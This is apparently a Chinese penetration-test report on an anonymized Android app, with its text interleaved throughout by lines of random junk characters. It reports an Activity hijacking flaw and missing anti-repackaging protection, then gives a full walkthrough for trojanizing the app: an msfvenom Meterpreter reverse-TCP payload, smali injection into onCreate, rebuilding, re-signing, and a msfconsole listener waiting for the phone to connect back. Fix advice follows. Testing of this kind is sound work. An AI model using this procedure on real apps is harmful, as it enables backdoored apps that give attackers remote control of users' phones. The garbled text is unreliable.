! B: b) `! ]2 k$ s; A8 j/ t9 |: `1 E4 s8 o3 h" x5 B1 Q
0 ?; ~% w$ x0 N3 E8 I; t
. x) o: D# u& o: { + |: I+ d; p ~, R
2 Z( `4 h5 E4 }" W: [ 8 X4 X8 Q5 h& i: p& a* y# s
, ?6 @: s2 V( d
, _8 O5 F9 y* y7 \# [8 v
' i. j" ~ m0 y 4 F4 X# I$ X. r2 P' q) ]
' K6 A3 u8 c* D* A 2 检测结果 8 _) O* J: P1 }3 Q6 `* I/ R( l4 Y
3 z. l: G# [( ~( A3 R6 ]
! l" Q0 O5 ~4 P4 f7 V# A
* d9 T' R$ H& `2 [( I7 P / }' F/ A7 M6 Y5 |1 w' K& D. l+ X' T E
* G! t0 f! f6 c
2.1 某某某
( `4 d& l( [* @) e
0 t% c5 z9 d* \0 i. Y/ T
2 j# B2 v6 _* e: w1 t# i) U0 `
* p# O, X" ^, o+ ~& N, h3 G k4 k
; t3 p8 T0 ^$ K$ t/ T
" G. h% o' t% C 2.1.1检测目标 , j% C& [, l/ J" E! m* w3 a0 d
% C; h- Q- ~* E
0 G9 h2 O7 @5 q: b4 m3 j0 k& [: {
& ]6 y+ f' u5 X( `' b 1 D, l& j! H r7 }/ O2 w
$ t0 W7 |* ]* B: Y3 P! }+ W9 F
目标地址: 某某某某某某APP
+ Q% `: Y1 h# F! _7 p3 R& V0 f a/ Z* J7 v* Y, V
+ _8 x7 p; ^8 }* G
$ Z5 q1 N7 A; S% `7 K3 v 2 H' w- {9 A# P6 C# d
( r2 o, r) W3 U' s2 E* e! a7 T 2.1.2检测结果
3 s' L7 A5 q* G$ ~# W Q
n& A$ n3 V* w6 G4 l( B8 q: A
5 ?9 v8 J$ C& H3 ~5 v
/ X/ p0 v- L: v3 p" @ & x. e" q& N) t: O4 Q& N
# r9 y$ V- D. L. Y/ {, t8 O* D 2.1.2.1
3 O0 c: Y% }" j# G1 D* G# _1 {, e( O8 }) ~. {2 b- ^" y
( s5 \; q, M4 ^! k3 ]7 @7 u0 X. l# S
: [. b2 v; q8 d; v" m& {, S6 g
漏洞链接地址:某某某某某某APP
7 P: o, r2 a$ g; ~
1 b- J1 h$ |& |+ p, i* ?7 \
0 A: {8 y3 a) i/ K# n0 X F
( Q- ~) | d3 ~/ L8 \( j
0 b0 \/ \2 o5 I1 E$ g9 r0 Y3 G# P$ s( F6 U
% R; P, Z+ _$ P7 e9 ]. i6 N8 m; G' ~
4 x5 d3 `5 L: G2 E, l/ l
- c) b/ i$ L7 c7 {$ |/ ]& o {" ]
- w7 f2 D0 n6 Q, c4 L' [
% Z( n6 q9 Q p/ k
6 O9 v! J: N, T( W& N$ b. w# X7 {4 W 漏洞分析及取证: ' Y2 ]6 A0 I6 |4 Q. Y: ~! I
+ r& t% R+ f3 j7 H- I8 L
. H u" T- t- V P2 n- |6 A
' K0 {3 t0 x( j
* ~' w/ b6 [/ y& W! y5 I' d" \* K: O C- B
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
) K6 Y- f9 l" @3 O
: Y5 J% _7 H: p+ ^. Y
. V1 y# {$ Z+ ]5 p, K& ?0 R. ?7 O1 k0 M
/ ^" [5 M7 t7 x# p 5 V3 A2 y h$ ~2 n* q0 x
7 ~' m: z' L: d* |" ` . g1 s" L O N6 O7 c
4 g2 k/ M1 r3 v3 k4 N$ }
0 n- w3 L9 p4 z4 {- _- Z7 w
0 a% {6 D% g8 u O8 {
- |' O$ w' y' k3 @) F& ?! Z d
7 j' h' z3 ^/ u : v; y( S9 }- [
; O9 V4 c2 h) X- k+ E* d) [
! j6 l& ^3 j1 K
9 k& U% s$ T0 O M1 Y: H* q% ?
3 q9 A' m3 C7 ~, A+ L) T
" w9 E3 I5 Q9 N7 C" j5 |+ S
8 k, X, x' d" ~5 q
d! c3 h5 n. F d, m
6 E4 s: ^: I! ?& q7 I, {. Z! n* B
, C* ? l" \" a7 Z
. I" y+ b7 ]2 ^! T
* }9 v3 @! i3 z+ I3 m& [ u2 f, O( L( ^$ t5 C, G$ ~
1 o! d" l' G9 q5 m6 [" k) ~% [$ `, h
5 v0 l+ g; {0 w4 i- O 4 v. S) [# |. x5 E
5 L# q/ l. K$ F( v I) s2 V 7 ?8 \# T$ [ S. V5 H+ ]* _, @
6 H6 B* s* |2 I9 f+ U
8 w8 U: o; f- |2 f- C. o
( P% A$ S4 v7 _& V
. T" y" |- I- g6 l
0 c; u4 c& L" t' F7 L 漏洞危害:高
) |: H1 | s R6 m/ X- l# P" N
5 a2 ^3 i; F4 m/ W" g3 r$ g6 J
2 F2 X) o3 h# M& a7 N V ~1 @7 J
2 J* \/ s+ K+ E# q+ R
" @3 m9 r8 b6 ?5 y( n, n
/ a2 Z5 O0 i$ h! I: ]+ r+ C6 J . S: V9 [5 D2 A
* k% F. _* l; c5 ^5 Q2 c
9 I3 B- Z8 x+ H9 {) k4 U k, s! C! s1 A' H& V( i
3 O) J, U( ~) I" L8 K. Q2 b; e
% R; s4 M2 I- w. y8 W$ o- s
7 \: Q1 H8 e) N( F3 A; B. }7 O* R, C+ F8 ~
9 Z) O/ Z: n* c# u- t 9 r8 K w8 d! A+ o% d
0 y ^0 X1 b q4 M
严重程度
- y# ` u( m4 L+ F q* L. e! h/ e& q
# F3 }3 f8 u3 d
" ]( |7 w: m) _) P
) b& v. ?0 k# J |
7 R% g- g: y4 x3 U0 N$ ^4 w% ~) c9 u$ H8 \
m/ e' e6 N# L% Y
- x! u [( F/ Y! H" t% t8 k/ Z . d# F; O5 c P$ {/ R3 i" K1 Z% S& ?
4 |' ?6 L, d3 p* |3 }* U4 l0 _ 高 W7 u9 A1 ?/ u% m8 `+ J9 e1 z. c0 T; ]
! p$ V1 ^2 {0 G3 M# q
+ u* m( }' r3 [4 t
+ v C+ ]1 N9 e) `- s$ U) g | - q1 G' m6 o- y8 ~7 L" T
! c* E: \3 ^' o: e8 R9 ]5 _! [* @ |
5 l' A2 z8 A% A$ U: e0 [; y& [. ~4 Q
6 @5 Q6 M( G( R: g7 ]% q, v9 q
7 o$ o* E, w6 Z7 U$ h% B! P ■ % K* g+ z) r5 R# K
' t) \/ b: p4 W+ v5 }% t
9 y6 t8 q8 q( t* E& N# n( T1 Z( c2 C1 V5 r% N& f# u4 U
| ; ?0 h: g3 ^7 @. V1 s
! L" B- ~2 M) J/ @) }! [ 0 [9 n+ N: [7 i' p; ^6 J! R
: Q, a, |& X4 ]5 F# Z1 G" C$ W
% _7 m2 z1 S) W9 S2 d/ Y
) d! V) p! f/ [8 T4 x! s 中
1 @9 Q4 a( V3 x2 t2 x5 ]
- n4 s4 B% E! {& H
- s4 O) M: M5 ?/ q) W, }# p B+ t, U* c: Z
|
2 q) S+ E9 z. v# F
2 `8 Q+ L1 Y+ L; T9 ` - N) n0 t, f0 E+ W! s0 l
% x9 g9 D( _9 V1 }! ~2 x: Y. y 6 e+ h* v! f! j
; S7 L$ v, k! N0 g: |6 [; T
7 g8 `- v2 ^7 a0 r
* ^3 {& n1 I+ O2 z! u z$ E* `
* x, @/ T1 h/ b
- v5 g' d% Z) c( L, P2 c, _ | ' i9 Z5 Q3 Y( _$ ?
- p+ x3 z8 \- v8 Q) V" h" d$ E J
3 t7 l s u6 O, i! z# e# A; N( b# p& T) O! l% t S; b( m/ |$ D
6 P2 Y; X: c( D) S+ l4 E
) b" ?& h8 s, h% U& R" C7 ~ 低 ' H9 M4 d* S! x
" ^2 @; q6 ~! r* \" ~2 u
$ |; p- S. `2 P" N8 c
5 l# ^3 G; z$ l* P* E+ K |
: e; L V1 l3 Q- Z ~) ^
8 r3 w6 w' H I' l8 A* O
* {4 C; k6 J/ C/ `+ T5 I) m" w% r- |
9 X# i9 | @, _) X$ f
. @5 Y# u: G H
4 w2 Z4 H' h2 i7 L- U4 g, }# ^9 L
: X( v5 @2 O" P6 `" ~* u
$ ]7 L2 u1 ?( S0 x" M
1 X. t1 M/ \1 L | : j U) [' x( u0 R4 T% o$ a. {2 E0 s L
9 ^+ J o$ K3 l! C% P" q) X! M2 M! O
( M5 @/ i, m, Q9 H0 s3 c7 w
; q$ a, U( ?+ Y! _
' G" d0 x) C8 t& S( I( l2 a
; g& B% l7 }7 z, ~- t
# F/ W4 _8 s0 } }5 V5 N9 D/ c7 X) X+ M* b) @
8 c. _/ G, A; ^$ d+ J1 @' M* W( e6 {( V% G
0 \0 L8 _/ j& T& J! l8 g$ [/ ^2 i' v& g* q, d5 W6 o* Y l: f
# i- W# Y5 h0 z3 R1 B* ?( o4 |: Y; m' U& d/ Z0 o, w
: {3 `6 d$ J" ]4 d- [9 a5 x4 \8 t- v
$ x9 B! T9 v+ E E! U; W! j: H& K: N! w0 I
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
; ^: t+ I L& Q6 d' t& Z7 x. F
; U5 P- X9 g2 c. u! @: L# W/ h) F' f
5 o* U8 E# N2 t5 j
4 g* u2 h0 K, N! {6 O+ U Z$ x5 H8 o1 j! X
. [1 _: w0 ~$ W, z1 j- [
7 v5 U/ p- G5 o* M6 p6 M0 e- Q0 z# a; J/ M
6 N0 E p' Q* G0 D. }4 ]
7 k' ?9 E( M# M: m: N9 f 4 v* w+ n" q5 [; `
1 W9 h) z6 v' }
: P8 u) V0 D5 V1 x' {: H( r8 E7 o- @" D. `1 V9 }! m, D
2 i0 ]7 m% A% `/ {
+ v2 ~1 [$ z U% e) N) _8 c' j
- J, S. p2 J0 m E! E
0 [1 ^" x7 b; Y 2.1.2.2 & ?: Q* C7 V/ h; ^0 F. X
: n# v$ d+ E; m, y5 X% ~
0 S2 M. k# ?' \( O7 o4 R5 E/ f1 P
5 R/ p, ^# N6 r5 X' ?
+ B2 C# N. _% _5 k1 }, L
( Q I: j8 _* G 漏洞链接地址:某某某某某某APP / Q" | r% J$ \3 s" v3 }
! z* f7 M7 u* V4 d) S2 x9 m- K: m
; H# F6 M6 E; j' Q w
- S r8 Z. F5 @: [
. U1 q) R$ V! Z; |6 v3 S r
$ C8 u2 w5 g* Y! P% }" B 漏洞分析及取证: 3 `/ M/ N9 n* ~ _# Q9 E$ M' a
, a& T; f, ]! E
- y' ^1 _ i# r' P* B' Q' R+ r9 z4 V( T8 t+ R. v* X+ J1 l
: k) }; R* t D! ]$ Q; Q$ J
1 v& I6 C( v( y' F# C 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: # P8 Z1 f& U; N# @# ?) ?' M
. d4 Q! ]6 S: E; }
' ~% }- `6 R: T" p7 ^4 c
" h* Y2 Y# I4 [0 V! {
' O# U2 z& e, P. v
4 q2 x" ^( j0 o4 s9 \4 i 用Metasploit 生成木马 apk
4 E6 e; D9 b% H; n1 i6 P/ ]0 Z/ J- I3 B8 h* B: m8 D) K
) W$ U, k) G3 {2 s: I H
4 u2 }# d/ B, b( i5 c2 q$ Q2 R ) B- W! C3 f$ M$ H/ m* g
# q% W4 D9 Y% K' o! A# J' M" d
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
! v; l- _. M6 x! Z3 [ K! u7 |( S* U3 S: B
$ X3 ?- R, w8 }% b
; G/ p* I; V8 \' [ 9 ?7 T; p. g0 N: t0 }6 t% P( K
. y* D5 z; ^8 F* I& B- N1 [3 ~' v- i: E 反编译目标apk和木马apk
) t& ?/ ^# h$ [9 p1 L8 M4 X( l; E$ O3 V, J- i
. P/ ]% v9 t3 ?" v' T0 g& }7 i: v9 t4 @# y0 a. b/ G; x
7 E( _" r+ F- N) a- O. j& t' D
! _, p3 X6 K$ Y6 Q: M+ A apktool d target.apk
$ E" a/ g& v9 ^! R! n8 D
% C1 I8 i5 }# l4 A; ^/ @3 k6 @/ \ apktool d cockhorse.apk 3 g6 ^7 r' f: F7 d7 {5 {: E
: n. @- o' l( e! q+ J$ s! b# c
H" l! e2 X1 ~( H( E* P3 }. }) O) h0 B5 w4 n3 d" E
R0 O' t' Z+ W2 Q Y% m) r
: [' v/ M8 e, `& C 木马 apk 注入目标 apk - Q& Z) {- \9 A# x" A! R) e& E4 |0 g- c
" V0 Y5 z) u* z& c) l7 c7 y
% ^) m7 F( i) {+ y2 u
& O* @& R- n" E: }6 ~ P # b7 S! W% ` m1 y5 l: `% |- v
/ u; j5 ~4 M# F( i- {- P 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
4 [4 M7 M& E$ {$ K
, j( T' X9 ]( x3 ?% G invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
0 p p: ~! b) g" H' O! ~% D6 Z: j; V" a! H6 ^1 D" z
" c4 e$ ?' I0 J8 v; T# ]; _
$ v* \7 Q5 `! b* P2 h. p' b
% V+ O' U$ c! z: h! g
. c' T- U4 E* Z- q# C. h7 J. E: ^ 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 # Q }; Q. D) I4 w4 }
" j. ?" I# u; a
" ~' p: K- N% g$ C
) t' h" d- W! x& u! v
4 C/ @* @, A7 E( l# y! ~! G7 x; R( `) e" C+ e$ a
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 ) ~+ X4 x9 Y! n5 E, X, e
0 \. h% z6 k# s* c
2 X+ i2 N% ~' b# p( H+ G
4 z, U: e" N* V 4 u7 _. Q. f7 f& D7 s
, Z- W& p8 E% a- x ?3 J% T& ` 回编译生成最终 apk
$ [/ C1 d3 { ~7 j
: x- f5 i& D) w F
% C( ~9 @- _3 ]! W; `) p' u/ T( Q) P
: T. y+ w( X3 J3 T+ s
4 | ^8 P7 }4 a+ h6 B1 U' C# e% n 重新打包
" F v4 X9 \+ Q4 Y
( d2 H* m# w7 |$ X2 ]: I* Z3 A3 {7 Z
6 y2 F! B8 u1 P
/ }( \) n! u+ b5 G8 Z& N0 p
& ~, m0 o7 J" i6 |3 C
" x* ]3 H v8 O apktool b -o repackage.apk target_app_floder ) m2 m, |2 K; h% a
* Y! O6 P8 u8 ?8 G) ?
! I/ U) t+ @" v# I8 E
7 ?8 t7 m4 } V8 N* C" I3 y5 D $ A% O- V. a6 k9 c9 r4 d/ \
8 L8 S* y) O# ]
创建签名文件,有的话可忽略此步骤 1 e' C! `: V8 |6 ?* p% [/ d
) W& }4 C( s Y/ P4 X
& q, Q P6 `7 K8 b& G( s& `+ M7 j: L* }6 x0 j9 T# f
2 a# v3 {, U/ {5 L0 N) W/ J. U9 _
) p) i1 o) P" B! w p keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 0 @/ x! n1 |1 ?( S8 I
$ ]# A& A, ]9 O+ j: y b1 v1 d6 Y
* y% ]% A- y* h+ j
( ~1 V* g1 v+ ~" _4 N0 Y , {( Y; U! T1 Z* |
8 t/ j! h5 C( d0 C- P4 {, O4 V 签名,以下任选其一
$ P4 S: F/ t$ K+ V/ |. q
: O3 c y3 P& }; G# Y" V
5 f2 j7 ~% f T1 e1 d; m
0 J [% }- w0 C3 C0 D( ~, z0 H: P( Q
2 d( K2 n# y; l) p Q% l) e5 ~0 `$ f. K$ z/ q
jarsigner 方式
6 z! y6 x+ P& ]5 v! k5 Y, c/ p7 }
8 P h: g, A6 e* [2 ^7 V- m
/ A+ V: F, R d( m; J
4 Y: A& P8 r$ @8 v4 p
0 A4 x% @+ c7 \% d0 e% P
( X6 L# V0 S, L- p jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname * a. ~7 k2 a! P
) T6 W, ]* I1 m# g4 s% w
& e9 X! |. `1 }! X% P3 F
$ v3 y% I: M7 f/ [! z7 s2 U ; p- ]- I$ S0 ^' G/ T* [
- F: x8 P9 l3 \3 K6 a
apksigner 方式 ' Z( q: w4 @$ h% s+ ^
4 j5 T4 d; F$ C* F9 h
j, G# N* j" B# O* j
. j# [! |. h8 _+ s# l * V) o+ A' C2 v& j" t$ H
. Q0 n8 y% D' [7 T) D% H apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk . A" X# C; l) `
2 S1 [! y0 O. r3 h4 [
7 X# Y, [$ f) R7 {
, k3 i& r, i9 ~
8 c X3 I& ?3 T% u
) j" Z) C$ [0 t- b1 q8 P5 v6 ^ 如需要禁用 v2签名 添加选项--v2-signing-enabled false ) t5 s' U9 f/ L7 y
* d ^& [! w& F( i6 o# ^ r
+ s& a3 b- Q! n9 n9 K6 r+ g m! K) e. n9 j# H1 T$ Z9 I8 e- w
4 T3 @5 ]( \) k$ x& c" t# {
3 x& H7 G5 T t9 |; k- K6 X; _% N- i3 f 验证,以下任选其一 , ^, c* w) w* |" }9 B! j
8 p) N3 p; D( I; e8 n
" K3 q0 ~1 G: y8 B$ b1 k" f3 G o+ N) J' m4 s `3 i- }1 q! l
$ p$ l) O8 _) v; v, z& O
1 y" A& u* g" Q' Y3 U jarsigner方式
# ]0 i! |1 Z6 C" z- O6 q' g$ @# {- o) a1 [1 a0 [, v
3 g) v4 @3 {4 {* F( U: U* N8 X% [ T" K+ Q R
! ?" F, G" `, B) C$ A6 p
( `1 y. e2 P0 e% l jarsigner -verify repackaged.apk ; Q2 B: Y8 _5 `7 F4 _2 ?
% \5 g9 r% j7 M" A8 _6 f
2 [5 d T+ c9 R! C5 B
- U( |2 c: [& a1 f! r+ U0 |
8 w, _2 d/ q4 h4 m
8 A0 O5 R3 q1 P7 @3 h apksigner 方式 : |( T9 l$ v0 R) v
+ _9 e/ c! e% I8 D, a
: F9 S' w6 M! m9 i& V
$ M$ u% E4 Q- T7 J2 C! e; V. a 1 ^/ V' P. j4 d# f k
& H' h G2 w! b( O# t5 E1 [6 K
apksigner verify -v --print-certs repackaged.apk
- W* C! \. @$ m: t7 U+ w e
& h8 b# T" h1 N% [, _5 y
6 a& K: _- v& M: w" W& }2 O" [0 z
) A: K8 g6 T6 v- J
( Q( ?# x" E8 t; J$ e. [9 c" a0 j0 g2 _
keytool方式 5 h- W! `' c0 S( T) J5 V
. X8 x% Q7 ], m7 Q
2 P( l( i. `# b7 N2 Y$ I' ~9 B7 V
2 t: F3 N# |, C, F6 l$ k
. C3 X0 v/ x1 W! V) X6 U! l! X
keytool -printcert -jarfile repackaged.apk
+ k$ O( Q( ?- ^; e) {- G4 V, R$ c3 s% I* Y/ L$ A
* M( q: A& }; ~+ Q# Y1 y( D
) m) |5 ~% D! R' z. `3 b: U6 U% y0 N
C9 O$ `$ U+ W& c6 F6 e- [' n$ Q6 r& P* I2 z
对齐
$ h8 G+ F$ A: J6 |( J# o- }, Z; z. o1 M3 V1 W) s3 g" p m9 {
9 U4 O% O6 e$ o0 ?, W, z; B
9 h. N& D) @& h% ] @" X
0 ]6 W% x8 U- J( a3 `( Y2 e. w0 d0 n) `9 e, \
字节对齐优化 $ d. H. ?* e" C6 q% y1 u, m
. q. |7 J; l# o
' S5 B4 h& B2 w; [3 [+ \; C& ~, D+ X+ [8 a& h9 _2 C: n, a7 L& }
6 K3 j8 q4 U( E! F8 d8 U" I0 U
) J7 D( [$ e4 ^2 L0 s7 Y
zipalign -v 4 repackaged.apk final.apk $ E; ?9 ~5 }4 H* ?
2 Z' p6 d, }" W0 t# @
- Z7 h; P3 }( j$ B
. b5 D0 `& l- u, U& z6 K
; F1 m$ }* h; V5 d4 ^- y( r) k4 t( m* N2 m
检查是否对齐 Q; U: ^: K; @6 j
4 Z6 M6 H0 O. d& W6 S9 t" k
3 j( T7 R4 D+ ~4 |
1 z6 M" y9 w1 J* ~
1 u0 e1 f1 N, [" P" F: ?
/ L% |+ [! O) w- V& U5 L zipalign -c -v 4 final.apk
1 C e1 U0 v0 d( S+ b: _
$ I4 D* @! Z, p
E. O6 ^4 h7 f4 s9 q- O6 R
% ?# p- U) g7 K5 ?% d$ @. C
( U+ q% C, H& J" h; P
0 d, V; R- |' ?, v) l2 ?) C$ Z 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 4 [: A9 P$ `. r$ j& Q
3 J$ Q: f! Q. e+ Y! O3 s4 ^
0 x0 Y1 S! e0 n0 `0 w
9 F) a& m9 q% c$ _4 k) V( o
3 A6 L7 N' l2 Z' c8 o( n' L& }9 W+ k4 a: y+ j
启动Metasploit控制台,配置参数等待上线
" [4 l! C% g( i7 i# J e8 N: H) e2 j- l# a/ ^
( ~) _" S6 y& z& ]5 b% X0 _
4 D' z( S% C5 R/ X, w
4 q. i( L6 j1 [. G N
! ?; m O- y/ ^* ~3 V 在终端依次输入如下命令
8 j5 b- I8 n1 E( K2 N3 _: b. d& ]$ n6 k" S6 r
2 L8 w% L/ _- Y$ q! S7 A( k
& G8 R# x1 _9 p 8 R4 h" T. E+ o5 C
4 b, n3 K0 A0 T5 s6 X$ c! r9 V! C msfconsole ; B- C4 Z3 U# B: z/ d# A9 z+ N4 Y( Q
4 A& z' e+ }. X0 t- B" ~* C
/ v' z# R6 x$ H# E$ C
' g' K) S& Q, t
3 e' T) T r2 i1 I. a2 U# `$ }9 X5 Y: D5 G
use exploit/multi/handler
! ~+ U$ \) P& l7 a. j: i7 G) l
# i! @: k) k% S% C* q
; v( a/ q! ]: j) Y! [" ?" V4 t
?. j. U* h. p- }. Z% ] ' c- r5 ]# ~1 x9 v. f: p
" S% R h1 ~- ]! @ set PAYLOAD android/meterpreter/reverse_tcp ) ~$ X, ~ f2 [2 {
$ V0 M1 N$ Z$ U
' R) E8 w1 A) {; K: e9 {* ^* {% L6 q* d2 z) I& ~. S W
6 d- C( G; E. ^$ c4 ^2 o' E% z/ `" I% G) n' r1 r! U
set LHOST 192.xxx.xx.xx ) S0 x# Z2 V$ k+ m/ M0 @; S
' ^4 V, D6 k1 b, ?& [5 W. C+ k: o
7 P9 r8 E0 {2 x7 Z- X! q
. g7 n1 l3 T& ^9 g: z1 A( c* L& s- q
2 ^1 w* x! J9 p$ G8 {' R5 A8 v' t' I# J$ \
set LPORT 4444 " T. a- a3 e/ O
4 n+ ]8 M3 f, M- @* d- V0 O' k
) F$ F- M: ?9 L" |4 J, K7 b v
6 j1 l* P3 K- t+ n$ [
, ?& H& ]- G; k! _0 S# }2 U
1 x, W& a3 G% F6 s
exploit
- C l5 v8 B0 y; O
0 ^* J$ h% a3 B9 }
q/ D' l8 v) a; j$ J. A2 Z" F
( A' A) m" X# d1 V
5 M. y) z% G4 K- @
# Q; u1 X3 t9 G! X! H. }+ b! z 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图: . E$ v5 p) M" y! Q
5 o3 p4 w8 e- f3 x4 b# k- Z9 O
7 R) x+ O6 g. a; U7 X0 e3 T5 [ f/ T! j0 s# a: n8 s4 q
' x( y# F- ?. \- g* f; U" o: s* J) X3 h" k; U# n9 G
漏洞危害:中 4 Z' a( j$ n8 }) p; ]& o( u
% Z# ], F: ?8 v
7 n, ^8 c4 x9 h6 q% P. K* K
( ^# W5 I! h* \
" s6 C! R9 B7 g1 _: A
0 z& H8 e* V$ `8 A/ W
. y8 T# q/ t+ C* z! l- f0 i8 [& m, q" y6 R) m; l# N
3 Y! y5 O3 n0 W; Y; e5 |9 v9 v4 J4 k; d5 n8 m" p2 {7 n
4 e1 c1 r! w3 m" j- T
& o8 T* E& c; H9 @& f9 o6 r2 w
/ b1 L6 c9 ?% p- @& d& x2 \$ x5 q+ V# o% `* b
5 {! m" r7 `% a$ x+ U
' u5 g: i$ p% ^/ z0 \7 O
+ o- o- D7 D! V, U( X0 o% P1 E2 n. D# ]+ k+ F
严重程度 $ M- p1 P: c6 o9 f; u6 I: X
8 S3 E; Z8 }. O' b
! K. j6 V) I0 o- j' h
* f' F/ S6 X- l6 V( k2 V+ ?7 E | . o9 ?5 ~; v- p* i
8 E g. O& N3 ]" w# y/ o3 H
* k3 F) ~0 q0 o* e8 j
2 K' n6 f: x8 S* E" H+ P& P" D+ @
0 ?0 ]0 ~; g# o8 [
! s9 ~# `# G @) X 高
; _: L! Q- [3 W: u+ m! @% Z) n0 N) i/ S; }
5 w6 @7 T7 T2 Z
/ T8 b! W, y9 C |
' i- o2 |7 n" v% R5 _+ i5 p, s2 R4 I& W
! G' L8 k% Y0 w" K$ q N2 f
4 W/ U# k) [+ ^3 H7 V; H. y
- F# _, a2 Q- T" ?- G! U# d2 ]3 }% h" L/ z$ B8 U. U3 E& q
■ $ t3 l$ B( J/ N ^; [. J$ M% V
/ G8 H2 s0 e. C) V & t" z8 w* _! z* C: j: g
$ t- i3 M' Z, U- X5 D9 ~4 ~
| ; r: t2 T1 @ O* L2 u# R4 p/ I
* P; s( Q( J9 g, b) G: f
0 h9 N; T$ H1 U
* W! j9 z+ ^3 x + L1 L$ ~% B: ]- G2 z
8 _4 L- @5 Z( w) U, W- t6 {
中 6 g' F1 s% X0 o
; A: S& p4 u. s& ~0 D% z4 K4 g9 |5 M( P
1 | ], m, }1 w6 O# t
0 b; G" S4 {2 i5 |
| ( s3 I+ e) d1 R
3 W9 M& ~: ^& i5 f% C! i) a+ B7 g1 A
$ j4 O1 Y- K4 w" n0 d
$ q, n1 ^, v6 `- r8 S$ T, i+ [ + c+ ^6 N2 X& N
$ ]4 l' K; x( c; b+ A: q' a% P
: u$ P2 g h1 [
3 A+ L" u+ [8 V) B9 ^) ?' z0 I8 A 1 K! _& m: `4 I9 c. [
) x" }* p; e/ A, [% k2 K
' e m5 i/ J6 |$ z5 J' g
5 |8 k+ K: R T" ^8 d4 q2 m |
$ |/ s: I& s7 L( |2 e. m0 l# o1 h
# I, B& e7 j9 ~2 D
5 t n/ v% c, S
$ {2 k5 H* O" ?: e
r) u% P- S9 {8 m/ k$ G
* J8 {) x0 ^* t7 I# J b, z 低 3 Y# ]: e2 i; F; E% e
O& M; L( y1 L$ l a' r0 s
/ e) j+ C: |' s) L8 d. s; u/ m
9 h- R7 W2 a) }
| ; r- I' C5 w& V; X6 ]
' P/ R8 h4 Q4 R2 B% t j
* `! k, \, p$ O0 m2 s8 W
9 M# _+ W6 Z: b
, l& A* g/ N) m4 Y$ K9 e [* h0 l. q. q6 u! Y. T( f6 P" Z
. q( F. N6 [5 [
& U, u3 \' M! t' R, ^2 ` 6 u9 g+ r" y& y7 i( W. ]
. a8 e2 p6 G* K; n! f4 k j ( a; [. Z, d! m1 F) v2 P
( Q" r; ?+ a; U' t9 t9 s |
2 v: D) b- N" n( J. M1 n' d
! q' z) b* O+ g
# R: ]. B% \8 p+ Q+ Y$ c9 |
$ J# n0 J9 ?- q" k. x1 @
0 L1 B5 h* |6 n4 `3 c: y* n$ G2 u
0 W- O* f/ y% d& D: V+ }9 Z1 V$ r
1 e+ Y9 q. i9 H6 j- P( ]
3 o! o) L/ P2 y2 R0 z% O- ^" f- j
% t2 |1 B/ ^6 O) P1 b5 ]- U+ T% M
0 k" X+ ^4 v& p# d' g$ g
3 E/ L/ ~% d, K( {4 M: H9 j8 E7 F5 X& O. q3 y3 E
8 [: t- l+ N/ C! y: z7 l0 f9 F0 f
3 ?& m& |$ Y; t4 p+ u
1 f+ y. H& G4 y5 B( S2 V4 T6 z S
( Z" \) _$ P7 s: w/ f: _
$ }0 r4 K5 @6 F( G; z, u
( Y5 ?. j5 i1 w( `9 w 修复方法: " o( y+ y4 Z( m& V
, J" I5 `# x4 p% ~/ C b5 J
# }/ B, |) l- R6 O
5 v/ I/ Q( X+ e1 G) K( W " X7 |# B* l" ~& E& F
& Q% d( W. r) w" o( o7 g( C5 \
1.在 APP 启动时应做签名校验防止二次打包。
* C+ C( A& n( _, D: l) L( f, G* S1 x& u$ D6 {# N! m
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
4 r$ c, H4 S+ R4 ]3 ~! ]3 m, \+ z5 Y* H w. q2 K
7 a, R G" R4 z7 p9 V( x$ o3 g% F
/ l' p% n+ N0 f3 y. p3 ]7 R8 h6 k
7 u" l# K+ [% \/ H& B& Z$ _
& o2 n- L" v$ l2 ?: ~9 c3 }
+ X' q3 h" q' r7 Y& x9 B$ A
3 V9 J9 Q8 ?& a, O4 q
& _( ~& P# H5 X; s
% U' z9 G* u5 @8 ?% [+ x/ f; A
4 M: V( C- Y3 m9 P4 i( `; m
5 ?+ X- `" n) } y r1 \+ r% \! g n- i; s) T' o; _. ?$ v
5 a7 M3 S; R, m7 R N9 E) m
/ X4 A( u9 Q: e1 ]! l
; C4 v" j3 r( Y1 Q* t) M
. t0 I& x8 U' q7 ]" I9 w
( U7 F5 W8 g+ y* u4 h2 f3 j2 q
) a) ~- [9 s) z( n0 L8 d